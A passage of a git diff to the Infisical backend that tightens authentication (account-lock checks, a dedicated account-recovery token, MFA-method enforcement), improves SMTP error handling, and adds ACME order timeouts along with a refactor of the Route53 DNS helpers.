+export type TVenafiTppConnectionInput = z.infer<typeof CreateVenafiTppConnectionSchema> & {
+  app: AppConnection.VenafiTpp;
+};
+
+export type TValidateVenafiTppConnectionCredentialsSchema = typeof ValidateVenafiTppConnectionCredentialsSchema;
+
+export type TVenafiTppConnectionConfig = DiscriminativePick<
+  TVenafiTppConnectionInput,
+  "method" | "app" | "credentials" | "gatewayId"
+> & {
+  orgId: string;
+};
diff --git a/backend/src/services/auth-token/auth-token-service.ts b/backend/src/services/auth-token/auth-token-service.ts
index c15444f76d0..b1892d89bab 100644
--- a/backend/src/services/auth-token/auth-token-service.ts
+++ b/backend/src/services/auth-token/auth-token-service.ts
@@ -290,6 +290,10 @@ export const tokenServiceFactory = ({ tokenDAL, userDAL, orgDAL, keyStore }: TAu
     );
     if (!user || !user.isAccepted) throw new NotFoundError({ message: `User with ID '${session.userId}' not found` });
 
+    if (user.isLocked || (user.temporaryLockDateEnd && new Date() < user.temporaryLockDateEnd)) {
+      throw new UnauthorizedError({ message: "Account is locked" });
+    }
+
     let orgId = "";
     let orgName = "";
     let rootOrgId = "";
diff --git a/backend/src/services/auth/auth-fns.ts b/backend/src/services/auth/auth-fns.ts
index 54bbc8a414f..e99406f1f62 100644
--- a/backend/src/services/auth/auth-fns.ts
+++ b/backend/src/services/auth/auth-fns.ts
@@ -3,7 +3,7 @@ import { request } from "@app/lib/config/request";
 import { crypto } from "@app/lib/crypto";
 import { BadRequestError, ForbiddenRequestError, UnauthorizedError } from "@app/lib/errors";
 
-import { AuthModeSignUpTokenPayload, AuthTokenType } from "./auth-type";
+import { AuthModeAccountRecoveryTokenPayload, AuthModeSignUpTokenPayload, AuthTokenType } from "./auth-type";
 
 export const extractBearerToken = (token?: string): string => {
   if (!token) {
@@ -43,9 +43,9 @@ export const validatePasswordResetAuthorization = (token?: string) => {
   const appCfg = getConfig();
   const authTokenValue = extractBearerToken(token);
 
-  const decodedToken = crypto.jwt().verify(authTokenValue, appCfg.AUTH_SECRET) as AuthModeSignUpTokenPayload;
+  const decodedToken = crypto.jwt().verify(authTokenValue, appCfg.AUTH_SECRET) as AuthModeAccountRecoveryTokenPayload;
 
-  if (decodedToken.authTokenType !== AuthTokenType.SIGNUP_TOKEN) {
+  if (decodedToken.authTokenType !== AuthTokenType.ACCOUNT_RECOVERY_TOKEN) {
     throw new UnauthorizedError({
       message: `The provided authentication token type is not supported.`
     });
diff --git a/backend/src/services/auth/auth-login-service.ts b/backend/src/services/auth/auth-login-service.ts
index b8c5cf8fcae..22c9bdbd2bd 100644
--- a/backend/src/services/auth/auth-login-service.ts
+++ b/backend/src/services/auth/auth-login-service.ts
@@ -12,7 +12,7 @@ import { EventType, TAuditLogServiceFactory } from "@app/ee/services/audit-log/a
 import { OrgPermissionSsoActions, OrgPermissionSubjects } from "@app/ee/services/permission/org-permission";
 import { isAuthMethodSaml } from "@app/ee/services/permission/permission-fns";
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
-import { KeyStorePrefixes, TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
 import { getConfig } from "@app/lib/config/env";
 import { crypto, generateSrpServerKey, srpCheckClientProof } from "@app/lib/crypto";
 import { getUserPrivateKey } from "@app/lib/crypto/srp";
@@ -25,6 +25,8 @@ import {
 } from "@app/lib/errors";
 import { getMinExpiresIn, removeTrailingSlash } from "@app/lib/fn";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 import { sanitizeEmail, validateEmail } from "@app/lib/validator";
 import { getUserAgentType } from "@app/server/plugins/audit-log";
@@ -38,7 +40,7 @@ import { TNotificationServiceFactory } from "../notification/notification-servic
 import { NotificationType } from "../notification/notification-types";
 import { TOrgDALFactory } from "../org/org-dal";
 import { getDefaultOrgMembershipRole } from "../org/org-role-fns";
-import { SmtpTemplates, TSmtpService } from "../smtp/smtp-service";
+import { SmtpTemplates, throwIfSmtpError, TSmtpService } from "../smtp/smtp-service";
 import { LoginMethod } from "../super-admin/super-admin-types";
 import { TTotpServiceFactory } from "../totp/totp-service";
 import { TUserDALFactory } from "../user/user-dal";
@@ -115,17 +117,19 @@ export const authLoginServiceFactory = ({
       ]);
 
       if (user.email) {
-        await smtpService.sendMail({
-          template: SmtpTemplates.NewDeviceJoin,
-          subjectLine: "Successful login from new device",
-          recipients: [user.email],
-          substitutions: {
-            email: user.email,
-            timestamp: new Date().toString(),
-            ip,
-            userAgent
-          }
-        });
+        await smtpService
+          .sendMail({
+            template: SmtpTemplates.NewDeviceJoin,
+            subjectLine: "Successful login from new device",
+            recipients: [user.email],
+            substitutions: {
+              email: user.email,
+              timestamp: new Date().toString(),
+              ip,
+              userAgent
+            }
+          })
+          .catch((err) => logger.error(err, "Failed to send new device login email"));
       }
     }
   };
@@ -140,14 +144,16 @@ export const authLoginServiceFactory = ({
       userId
     });
 
-    await smtpService.sendMail({
-      template: SmtpTemplates.EmailMfa,
-      subjectLine: "Infisical MFA code",
-      recipients: [email],
-      substitutions: {
-        code
-      }
-    });
+    await smtpService
+      .sendMail({
+        template: SmtpTemplates.EmailMfa,
+        subjectLine: "Infisical MFA code",
+        recipients: [email],
+        substitutions: {
+          code
+        }
+      })
+      .catch((err) => throwIfSmtpError(err, "Failed to send MFA code email"));
   };
 
   /*
@@ -194,7 +200,8 @@ export const authLoginServiceFactory = ({
         authTokenType: AuthTokenType.MFA_TOKEN,
         userId,
         organizationId,
-        email
+        email,
+        requiredMfaMethod
       },
       appCfg.AUTH_SECRET,
       { expiresIn: appCfg.JWT_MFA_LIFETIME }
@@ -250,7 +257,9 @@ export const authLoginServiceFactory = ({
     let refreshTokenExpiresIn: string | number = cfg.JWT_REFRESH_LIFETIME;
 
     if (organizationId) {
-      const org = await orgDAL.findById(organizationId);
+      const org = await requestMemoize(requestMemoKeys.orgFindById(organizationId), () =>
+        orgDAL.findById(organizationId)
+      );
       if (org) {
         await membershipUserDAL.update(
           { actorUserId: userId, scopeOrgId: org.id, scope: AccessScope.Organization },
@@ -596,7 +605,13 @@ export const authLoginServiceFactory = ({
    * Multi factor authentication re-send code, Get user id from token
    * saved in frontend
    */
-  const resendMfaToken = async (userId: string) => {
+  const resendMfaToken = async (userId: string, requiredMfaMethod: MfaMethod) => {
+    if (requiredMfaMethod !== MfaMethod.EMAIL) {
+      throw new BadRequestError({
+        message: "Email MFA code cannot be sent when a different MFA method is required"
+      });
+    }
+
     const user = await userDAL.findById(userId);
     if (!user || !user.email) return;
     enforceUserLockStatus(Boolean(user.isLocked), user.temporaryLockDateEnd);
@@ -663,6 +678,7 @@ export const authLoginServiceFactory = ({
     userId,
     mfaToken,
     mfaMethod,
+    requiredMfaMethod,
     mfaJwtToken,
     ip,
     userAgent,
@@ -673,6 +689,12 @@ export const authLoginServiceFactory = ({
     const user = await userDAL.findById(userId);
 
     try {
+      if (mfaMethod !== requiredMfaMethod) {
+        throw new BadRequestError({
+          message: `Invalid MFA method. ${requiredMfaMethod} verification is required.`
+        });
+      }
+
       enforceUserLockStatus(Boolean(user.isLocked), user.temporaryLockDateEnd);
       if (mfaMethod === MfaMethod.EMAIL) {
         await tokenService.validateTokenForUser({
@@ -740,7 +762,11 @@ export const authLoginServiceFactory = ({
               });
 
               // Mark that an unlock email was sent, expires after 5 minutes
-              await keyStore.setItemWithExpiry(KeyStorePrefixes.UserMfaUnlockEmailSent(userId), 300, "1");
+              await keyStore.setItemWithExpiry(
+                KeyStorePrefixes.UserMfaUnlockEmailSent(userId),
+                KeyStoreTtls.UserMfaUnlockEmailSentInSeconds,
+                "1"
+              );
             }
           } catch (lockErr) {
             if (lock) {
@@ -909,7 +935,9 @@ export const authLoginServiceFactory = ({
         );
 
         if (authMethod === AuthMethod.GITHUB && serverCfg.defaultAuthOrgId && !appCfg.isCloud) {
-          const defaultOrg = await orgDAL.findOrgById(serverCfg.defaultAuthOrgId);
+          const defaultOrg = await requestMemoize(requestMemoKeys.orgFindOrgById(serverCfg.defaultAuthOrgId), () =>
+            orgDAL.findOrgById(serverCfg.defaultAuthOrgId as string)
+          );
           if (!defaultOrg) {
             throw new BadRequestError({
               message: `Failed to find default organization with ID ${serverCfg.defaultAuthOrgId}`
@@ -1070,7 +1098,7 @@ export const authLoginServiceFactory = ({
 
       await smtpService.sendMail({
         template: SmtpTemplates.EmailVerification,
-        subjectLine: "Infisical confirmation code",
+        subjectLine: `Infisical confirmation code: ${verificationCode}`,
         recipients: [user.email],
         substitutions: {
           code: verificationCode
@@ -1140,7 +1168,9 @@ export const authLoginServiceFactory = ({
       });
     }
 
-    const selectedOrg = await orgDAL.findById(organizationId);
+    const selectedOrg = await requestMemoize(requestMemoKeys.orgFindById(organizationId), () =>
+      orgDAL.findById(organizationId)
+    );
     if (!selectedOrg) {
       throw new NotFoundError({ message: `Organization with ID '${organizationId}' not found` });
     }
@@ -1156,7 +1186,9 @@ export const authLoginServiceFactory = ({
         });
       }
 
-      rootOrg = await orgDAL.findById(selectedOrg.rootOrgId);
+      rootOrg = await requestMemoize(requestMemoKeys.orgFindById(selectedOrg.rootOrgId), () =>
+        orgDAL.findById(selectedOrg.rootOrgId as string)
+      );
       if (!rootOrg) {
         throw new BadRequestError({
           message: "Invalid sub-organization"
@@ -1314,19 +1346,21 @@ export const authLoginServiceFactory = ({
             }))
         );
 
-        await smtpService.sendMail({
-          recipients: adminEmails,
-          subjectLine: "Security Alert: SSO Bypass",
-          substitutions: {
-            email: user.email,
-            timestamp: new Date().toISOString(),
-            ip: ipAddress,
-            userAgent,
-            siteUrl: removeTrailingSlash(cfg.SITE_URL || "https://app.infisical.com"),
-            orgId: organizationId
-          },
-          template: SmtpTemplates.OrgAdminBreakglassAccess
-        });
+        await smtpService
+          .sendMail({
+            recipients: adminEmails,
+            subjectLine: "Security Alert: SSO Bypass",
+            substitutions: {
+              email: user.email,
+              timestamp: new Date().toISOString(),
+              ip: ipAddress,
+              userAgent,
+              siteUrl: removeTrailingSlash(cfg.SITE_URL || "https://app.infisical.com"),
+              orgId: organizationId
+            },
+            template: SmtpTemplates.OrgAdminBreakglassAccess
+          })
+          .catch((err) => logger.error(err, "Failed to send SSO bypass alert email"));
       }
     }
 
diff --git a/backend/src/services/auth/auth-login-type.ts b/backend/src/services/auth/auth-login-type.ts
index 29b58c6a321..18a58a1c8c1 100644
--- a/backend/src/services/auth/auth-login-type.ts
+++ b/backend/src/services/auth/auth-login-type.ts
@@ -20,6 +20,7 @@ export type TVerifyMfaTokenDTO = {
   userId: string;
   mfaToken: string;
   mfaMethod: MfaMethod;
+  requiredMfaMethod: MfaMethod;
   mfaJwtToken: string;
   ip: string;
   userAgent: string;
diff --git a/backend/src/services/auth/auth-signup-service.ts b/backend/src/services/auth/auth-signup-service.ts
index 2025ed57590..1264c7ea624 100644
--- a/backend/src/services/auth/auth-signup-service.ts
+++ b/backend/src/services/auth/auth-signup-service.ts
@@ -2,13 +2,14 @@ import { AccessScope, OrgMembershipStatus } from "@app/db/schemas";
 import { getConfig } from "@app/lib/config/env";
 import { crypto } from "@app/lib/crypto/cryptography";
 import { BadRequestError, UnauthorizedError } from "@app/lib/errors";
+import { logger } from "@app/lib/logger";
 import { isDisposableEmail, sanitizeEmail, validateEmail } from "@app/lib/validator";
 
 import { TAuthTokenServiceFactory } from "../auth-token/auth-token-service";
 import { TokenType } from "../auth-token/auth-token-types";
 import { TOrgDALFactory } from "../org/org-dal";
 import { TOrgServiceFactory } from "../org/org-service";
-import { SmtpTemplates, TSmtpService } from "../smtp/smtp-service";
+import { SmtpTemplates, throwIfSmtpError, TSmtpService } from "../smtp/smtp-service";
 import { TUserDALFactory } from "../user/user-dal";
 import { TUserAliasDALFactory } from "../user-alias/user-alias-dal";
 import { TAuthDALFactory } from "./auth-dal";
@@ -56,16 +57,20 @@ export const authSignupServiceFactory = ({
       // Send informational email for existing accounts instead of throwing error
       // This prevents user enumeration vulnerability
       const appCfg = getConfig();
-      await smtpService.sendMail({
-        template: SmtpTemplates.SignupExistingAccount,
-        subjectLine: "Sign-up Request for Your Infisical Account",
-        recipients: [sanitizedEmail],
-        substitutions: {
-          email: sanitizedEmail,
-          loginUrl: `${appCfg.SITE_URL}/login`,
-          resetPasswordUrl: `${appCfg.SITE_URL}/account-recovery`
-        }
-      });
+      await smtpService
+        .sendMail({
+          template: SmtpTemplates.SignupExistingAccount,
+          subjectLine: "Sign-up Request for Your Infisical Account",
+          recipients: [sanitizedEmail],
+          substitutions: {
+            email: sanitizedEmail,
+            loginUrl: `${appCfg.SITE_URL}/login`,
+            resetPasswordUrl: `${appCfg.SITE_URL}/account-recovery`
+          }
+        })
+        .catch((err) =>
+          logger.error(err, "Failed to send existing account email — swallowing to prevent user enumeration")
+        );
       return;
     }
 
@@ -84,14 +89,16 @@ export const authSignupServiceFactory = ({
       userId: user.id
     });
 
-    await smtpService.sendMail({
-      template: SmtpTemplates.SignupEmailVerification,
-      subjectLine: "Infisical confirmation code",
-      recipients: [sanitizedEmail],
-      substitutions: {
-        code: token
-      }
-    });
+    await smtpService
+      .sendMail({
+        template: SmtpTemplates.SignupEmailVerification,
+        subjectLine: `Infisical confirmation code: ${token}`,
+        recipients: [sanitizedEmail],
+        substitutions: {
+          code: token
+        }
+      })
+      .catch((err) => throwIfSmtpError(err, "Failed to send signup verification email"));
   };
 
   const verifyEmailSignup = async (email: string, code: string) => {
@@ -164,9 +171,10 @@ export const authSignupServiceFactory = ({
     // whether the request is valid. This prevents timing-based user/alias enumeration.
     let authMethod: AuthMethod;
     let organizationId: string | undefined;
+    let isInvitedUser = false;
     if (dto.type === CompleteAccountType.Email) {
       // Determine rejection before hashing, but don't throw yet
-      const shouldReject = !user || user.isAccepted;
+      const shouldReject = !user || user.isAccepted || Boolean(decodedToken?.aliasId);
 
       // Always hash the password so bcrypt cost is incurred regardless of validity
       const hashedPassword = await crypto.hashing().createHash(dto.password, appCfg.SALT_ROUNDS);
@@ -190,7 +198,7 @@ export const authSignupServiceFactory = ({
           },
           { tx }
         );
-        const isInvitedUser = existingMemberships.length > 0;
+        isInvitedUser = existingMemberships.length > 0;
         if (!isInvitedUser && dto.organizationName) {
           const org = await orgService.createOrganization(
             {
@@ -289,7 +297,8 @@ export const authSignupServiceFactory = ({
       accessToken: tokens.access,
       refreshToken: tokens.refresh,
       authMethod,
-      organizationId
+      organizationId,
+      isInvitedUser
     };
   };
 
diff --git a/backend/src/services/auth/auth-type.ts b/backend/src/services/auth/auth-type.ts
index 3c1e2f83ed6..1374bcf0859 100644
--- a/backend/src/services/auth/auth-type.ts
+++ b/backend/src/services/auth/auth-type.ts
@@ -21,7 +21,9 @@ export enum AuthTokenType {
   SERVICE_ACCESS_TOKEN = "serviceAccessToken",
   SERVICE_REFRESH_TOKEN = "serviceRefreshToken",
   IDENTITY_ACCESS_TOKEN = "identityAccessToken",
-  SCIM_TOKEN = "scimToken"
+  SCIM_TOKEN = "scimToken",
+  GATEWAY_ACCESS_TOKEN = "gatewayAccessToken",
+  ACCOUNT_RECOVERY_TOKEN = "accountRecoveryToken"
 }
 
 // Result state from processProviderCallback — determines what the route handler should do
@@ -38,7 +40,8 @@ export enum AuthMode {
   API_KEY = "apiKey",
   IDENTITY_ACCESS_TOKEN = "identityAccessToken",
   SCIM_TOKEN = "scimToken",
-  MCP_JWT = "mcpJwt"
+  MCP_JWT = "mcpJwt",
+  GATEWAY_ACCESS_TOKEN = "gatewayAccessToken"
 }
 
 export enum ActorType { // would extend to AWS, Azure, ...
@@ -52,9 +55,17 @@ export enum ActorType { // would extend to AWS, Azure, ...
   ACME_ACCOUNT = "acmeAccount",
   EST_ACCOUNT = "estAccount",
   SCEP_ACCOUNT = "scepAccount",
-  UNKNOWN_USER = "unknownUser"
+  UNKNOWN_USER = "unknownUser",
+  GATEWAY = "gateway"
 }
 
+export type TGatewayAccessTokenJwtPayload = {
+  authTokenType: AuthTokenType.GATEWAY_ACCESS_TOKEN;
+  gatewayId: string;
+  orgId: string;
+  tokenVersion: number;
+};
+
 // This will be null unless the token-type is JWT
 export type ActorAuthMethod = AuthMethod | null;
 
@@ -78,6 +89,7 @@ export type AuthModeMfaJwtTokenPayload = {
   authMethod: AuthMethod;
   userId: string;
   organizationId?: string;
+  requiredMfaMethod: MfaMethod;
 };
 
 export type AuthModeRefreshJwtTokenPayload = {
@@ -107,6 +119,11 @@ export type AuthModeSignUpTokenPayload = {
   lastName?: string;
 };
 
+export type AuthModeAccountRecoveryTokenPayload = {
+  authTokenType: AuthTokenType.ACCOUNT_RECOVERY_TOKEN;
+  userId: string;
+};
+
 export enum MfaMethod {
   EMAIL = "email",
   TOTP = "totp",
diff --git a/backend/src/services/certificate-authority/acme/acme-certificate-authority-errors.ts b/backend/src/services/certificate-authority/acme/acme-certificate-authority-errors.ts
new file mode 100644
index 00000000000..1853b9f1344
--- /dev/null
+++ b/backend/src/services/certificate-authority/acme/acme-certificate-authority-errors.ts
@@ -0,0 +1,79 @@
+/* eslint-disable max-classes-per-file */
+import RE2 from "re2";
+
+import { logger } from "@app/lib/logger";
+
+export const ACME_ORDER_TIMEOUT_MS = 5 * 60 * 1000;
+
+export class AcmeOrderTimeoutError extends Error {
+  constructor(message: string) {
+    super(message);
+    this.name = "AcmeOrderTimeoutError";
+  }
+}
+
+export class AcmeRateLimitError extends Error {
+  constructor(message: string) {
+    super(message);
+    this.name = "AcmeRateLimitError";
+  }
+}
+
+const ACME_ERROR_URN_PREFIX = "urn:ietf:params:acme:error:";
+
+const RATE_LIMIT_URN = `${ACME_ERROR_URN_PREFIX}rateLimited`;
+
+const RATE_LIMITED_WORD_RE = new RE2("\\brateLimited\\b", "i");
+
+export const isAcmeRateLimitError = (error: unknown): boolean => {
+  if (!(error instanceof Error)) return false;
+  return error.message.includes(RATE_LIMIT_URN) || RATE_LIMITED_WORD_RE.test(error.message);
+};
+
+const formatTimeoutDuration = (timeoutMs: number): string => {
+  const totalSeconds = Math.round(timeoutMs / 1000);
+  if (totalSeconds % 60 === 0) {
+    const minutes = totalSeconds / 60;
+    return `${minutes} minute${minutes === 1 ? "" : "s"}`;
+  }
+  return `${totalSeconds} seconds`;
+};
+
+export const runWithAcmeOrderTimeout = async <T>(
+  operationFactory: (signal: AbortSignal) => Promise<T>,
+  timeoutMs: number
+): Promise<T> => {
+  const controller = new AbortController();
+  let timeoutHandle: NodeJS.Timeout | undefined;
+  const duration = formatTimeoutDuration(timeoutMs);
+
+  const timeoutPromise = new Promise<never>((_, reject) => {
+    timeoutHandle = setTimeout(() => {
+      controller.abort();
+      reject(
+        new AcmeOrderTimeoutError(
+          `ACME order did not complete within ${duration}. Possible causes: the CA is rate-limiting requests, the order is blocked at validation, or the CA is slow to respond.`
+        )
+      );
+    }, timeoutMs);
+  });
+
+  const operationPromise = operationFactory(controller.signal);
+  operationPromise.catch((err: unknown) => {
+    if (controller.signal.aborted) {
+      logger.debug({ err }, "ACME order operation rejected after timeout");
+    }
+  });
+
+  try {
+    return await Promise.race([operationPromise, timeoutPromise]);
+  } finally {
+    if (timeoutHandle) clearTimeout(timeoutHandle);
+  }
+};
+
+export const throwIfAcmeOrderAborted = (signal: AbortSignal | undefined): void => {
+  if (signal?.aborted) {
+    throw new Error("ACME order aborted after timeout");
+  }
+};
diff --git a/backend/src/services/certificate-authority/acme/acme-certificate-authority-fns.ts b/backend/src/services/certificate-authority/acme/acme-certificate-authority-fns.ts
index 05047274eef..5a79bc0c746 100644
--- a/backend/src/services/certificate-authority/acme/acme-certificate-authority-fns.ts
+++ b/backend/src/services/certificate-authority/acme/acme-certificate-authority-fns.ts
@@ -43,8 +43,10 @@ import { getProjectKmsCertificateKeyId } from "@app/services/project/project-fns
 import { TCertificateAuthorityDALFactory } from "../certificate-authority-dal";
 import { CaStatus, CaType } from "../certificate-authority-enums";
 import { keyAlgorithmToAlgCfg } from "../certificate-authority-fns";
+import { route53DeleteRecord, route53UpsertRecord } from "../dns-providers/route53";
 import { TExternalCertificateAuthorityDALFactory } from "../external-certificate-authority-dal";
 import { AcmeDnsProvider } from "./acme-certificate-authority-enums";
+import { throwIfAcmeOrderAborted } from "./acme-certificate-authority-errors";
 import { AcmeCertificateAuthorityCredentialsSchema } from "./acme-certificate-authority-schemas";
 import {
   TAcmeCertificateAuthority,
@@ -54,7 +56,6 @@ import {
 import { azureDnsDeleteTxtRecord, azureDnsInsertTxtRecord } from "./dns-providers/azure-dns";
 import { cloudflareDeleteTxtRecord, cloudflareInsertTxtRecord } from "./dns-providers/cloudflare";
 import { dnsMadeEasyDeleteTxtRecord, dnsMadeEasyInsertTxtRecord } from "./dns-providers/dns-made-easy";
-import { route53DeleteTxtRecord, route53InsertTxtRecord } from "./dns-providers/route54";
 
 const validateDnsResolver = (resolver: string): void => {
   const appCfg = getConfig();
@@ -295,7 +296,8 @@ export const orderCertificate = async (
     signatureAlgorithm,
     keyAlgorithm,
     isRenewal,
-    originalCertificateId
+    originalCertificateId,
+    abortSignal
   }: {
     caId: string;
     profileId?: string;
@@ -311,6 +313,7 @@ export const orderCertificate = async (
     keyAlgorithm?: string;
     isRenewal?: boolean;
     originalCertificateId?: string;
+    abortSignal?: AbortSignal;
   },
   deps: TOrderCertificateDeps,
   tx?: Knex
@@ -422,12 +425,13 @@ export const orderCertificate = async (
 
       switch (acmeCa.configuration.dnsProviderConfig.provider) {
         case AcmeDnsProvider.Route53: {
-          await route53InsertTxtRecord(
-            connection as TAwsConnection,
-            acmeCa.configuration.dnsProviderConfig.hostedZoneId,
-            recordName,
-            recordValue
-          );
+          await route53UpsertRecord(connection as TAwsConnection, acmeCa.configuration.dnsProviderConfig.hostedZoneId, {
+            name: recordName,
+            type: "TXT",
+            value: recordValue,
+            ttl: 30,
+            comment: "Set ACME challenge TXT record"
+          });
           break;
         }
         case AcmeDnsProvider.Cloudflare: {
@@ -478,12 +482,13 @@ export const orderCertificate = async (
 
       switch (acmeCa.configuration.dnsProviderConfig.provider) {
         case AcmeDnsProvider.Route53: {
-          await route53DeleteTxtRecord(
-            connection as TAwsConnection,
-            acmeCa.configuration.dnsProviderConfig.hostedZoneId,
-            recordName,
-            recordValue
-          );
+          await route53DeleteRecord(connection as TAwsConnection, acmeCa.configuration.dnsProviderConfig.hostedZoneId, {
+            name: recordName,
+            type: "TXT",
+            value: recordValue,
+            ttl: 30,
+            comment: "Delete ACME challenge TXT record"
+          });
           break;
         }
         case AcmeDnsProvider.Cloudflare: {
@@ -520,6 +525,8 @@ export const orderCertificate = async (
     }
   });
 
+  throwIfAcmeOrderAborted(abortSignal);
+
   const [leafCert, parentCert] = acme.crypto.splitPemChain(pem);
   const certObj = new x509.X509Certificate(leafCert);
 
@@ -924,7 +931,8 @@ export const AcmeCertificateAuthorityFns = ({
     signatureAlgorithm,
     keyAlgorithm,
     isRenewal,
-    originalCertificateId
+    originalCertificateId,
+    abortSignal
   }: {
     caId: string;
     profileId?: string;
@@ -939,6 +947,7 @@ export const AcmeCertificateAuthorityFns = ({
     keyAlgorithm?: string;
     isRenewal?: boolean;
     originalCertificateId?: string;
+    abortSignal?: AbortSignal;
   }) => {
     return orderCertificate(
       {
@@ -955,7 +964,8 @@ export const AcmeCertificateAuthorityFns = ({
         signatureAlgorithm,
         keyAlgorithm,
         isRenewal,
-        originalCertificateId
+        originalCertificateId,
+        abortSignal
       },
       {
         appConnectionDAL,
diff --git a/backend/src/services/certificate-authority/acme/dns-providers/azure-dns.ts b/backend/src/services/certificate-authority/acme/dns-providers/azure-dns.ts
index 6f8e80d154a..03fdcee5eda 100644
--- a/backend/src/services/certificate-authority/acme/dns-providers/azure-dns.ts
+++ b/backend/src/services/certificate-authority/acme/dns-providers/azure-dns.ts
@@ -1,4 +1,4 @@
-import axios from "axios";
+import { isAxiosError } from "axios";
 
 import { request } from "@app/lib/config/request";
 import { logger } from "@app/lib/logger";
@@ -41,7 +41,7 @@ export const azureDnsInsertTxtRecord = async (
       }
     );
   } catch (error) {
-    if (axios.isAxiosError(error)) {
+    if (isAxiosError(error)) {
       // eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
       const errorMessage = (error.response?.data?.error?.message || error.message || "Unknown error") as string;
       throw new Error(typeof errorMessage === "string" ? errorMessage : String(errorMessage));
@@ -75,7 +75,7 @@ export const azureDnsDeleteTxtRecord = async (
       }
     );
   } catch (error) {
-    if (axios.isAxiosError(error)) {
+    if (isAxiosError(error)) {
       if (error.response?.status === 404) {
         logger.warn({ hostedZoneId, recordName, value }, "TXT record not found for deletion");
         return;
diff --git a/backend/src/services/certificate-authority/acme/dns-providers/cloudflare.ts b/backend/src/services/certificate-authority/acme/dns-providers/cloudflare.ts
index 10de8c6c8a8..d9b6d088b51 100644
--- a/backend/src/services/certificate-authority/acme/dns-providers/cloudflare.ts
+++ b/backend/src/services/certificate-authority/acme/dns-providers/cloudflare.ts
@@ -1,5 +1,6 @@
 /* eslint-disable no-await-in-loop */
-import axios from "axios";
+
+import { isAxiosError } from "axios";
 
 import { request } from "@app/lib/config/request";
 import { TCloudflareConnectionConfig } from "@app/services/app-connection/cloudflare/cloudflare-connection-types";
@@ -34,7 +35,7 @@ export const cloudflareInsertTxtRecord = async (
       }
     );
   } catch (error) {
-    if (axios.isAxiosError(error)) {
+    if (isAxiosError(error)) {
       const firstErrorMessage = (
         error.response?.data as {
           errors?: { message: string }[];
@@ -125,7 +126,7 @@ export const cloudflareDeleteTxtRecord = async (
   }
 
   if (lastError) {
-    if (axios.isAxiosError(lastError)) {
+    if (isAxiosError(lastError)) {
       const firstErrorMessage = (
         lastError.response?.data as {
           errors?: { message: string }[];
diff --git a/backend/src/services/certificate-authority/acme/dns-providers/dns-made-easy.ts b/backend/src/services/certificate-authority/acme/dns-providers/dns-made-easy.ts
index cbfb26a2ec2..d54c67f2938 100644
--- a/backend/src/services/certificate-authority/acme/dns-providers/dns-made-easy.ts
+++ b/backend/src/services/certificate-authority/acme/dns-providers/dns-made-easy.ts
@@ -1,4 +1,4 @@
-import axios from "axios";
+import { isAxiosError } from "axios";
 
 import { request } from "@app/lib/config/request";
 import { logger } from "@app/lib/logger";
@@ -38,7 +38,7 @@ export const dnsMadeEasyInsertTxtRecord = async (
       }
     );
   } catch (error) {
-    if (axios.isAxiosError(error)) {
+    if (isAxiosError(error)) {
       const errorMessage =
         (error.response?.data as { error?: string[] | string })?.error?.[0] ||
         (error.response?.data as { error?: string[] | string })?.error ||
@@ -93,7 +93,7 @@ export const dnsMadeEasyDeleteTxtRecord = async (
       logger.warn({ hostedZoneId, domain, value }, "Record to delete not found");
     }
   } catch (error) {
-    if (axios.isAxiosError(error)) {
+    if (isAxiosError(error)) {
       const errorMessage =
         (error.response?.data as { error?: string[] | string })?.error?.[0] ||
         (error.response?.data as { error?: string[] | string })?.error ||
diff --git a/backend/src/services/certificate-authority/acme/dns-providers/route54.ts b/backend/src/services/certificate-authority/acme/dns-providers/route54.ts
deleted file mode 100644
index e2878ad4835..00000000000
--- a/backend/src/services/certificate-authority/acme/dns-providers/route54.ts
+++ /dev/null
@@ -1,75 +0,0 @@
-import { ChangeResourceRecordSetsCommand, Route53Client } from "@aws-sdk/client-route-53";
-
-import { CustomAWSHasher } from "@app/lib/aws/hashing";
-import { crypto } from "@app/lib/crypto/cryptography";
-import { AWSRegion } from "@app/services/app-connection/app-connection-enums";
-import { getAwsConnectionConfig } from "@app/services/app-connection/aws/aws-connection-fns";
-import { TAwsConnectionConfig } from "@app/services/app-connection/aws/aws-connection-types";
-
-export const route53InsertTxtRecord = async (
-  connection: TAwsConnectionConfig,
-  hostedZoneId: string,
-  domain: string,
-  value: string
-) => {
-  const config = await getAwsConnectionConfig(connection, AWSRegion.US_WEST_1); // REGION is irrelevant because Route53 is global
-  const route53Client = new Route53Client({
-    sha256: CustomAWSHasher,
-    useFipsEndpoint: crypto.isFipsModeEnabled(),
-    credentials: config.credentials,
-    region: config.region
-  });
-
-  const command = new ChangeResourceRecordSetsCommand({
-    HostedZoneId: hostedZoneId,
-    ChangeBatch: {
-      Comment: "Set ACME challenge TXT record",
-      Changes: [
-        {
-          Action: "UPSERT",
-          ResourceRecordSet: {
-            Name: domain,
-            Type: "TXT",
-            TTL: 30,
-            ResourceRecords: [{ Value: value }]
-          }
-        }
-      ]
-    }
-  });
-
-  await route53Client.send(command);
-};
-
-export const route53DeleteTxtRecord = async (
-  connection: TAwsConnectionConfig,
-  hostedZoneId: string,
-  domain: string,
-  value: string
-) => {
-  const config = await getAwsConnectionConfig(connection, AWSRegion.US_WEST_1); // REGION is irrelevant because Route53 is global
-  const route53Client = new Route53Client({
-    credentials: config.credentials,
-    region: config.region
-  });
-
-  const command = new ChangeResourceRecordSetsCommand({
-    HostedZoneId: hostedZoneId,
-    ChangeBatch: {
-      Comment: "Delete ACME challenge TXT record",
-      Changes: [
-        {
-          Action: "DELETE",
-          ResourceRecordSet: {
-            Name: domain,
-            Type: "TXT",
-            TTL: 30,
-            ResourceRecords: [{ Value: value }]
-          }
-        }
-      ]
-    }
-  });
-
-  await route53Client.send(command);
-};
diff --git a/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-client.ts b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-client.ts
new file mode 100644
index 00000000000..c4c624cfb47
--- /dev/null
+++ b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-client.ts
@@ -0,0 +1,60 @@
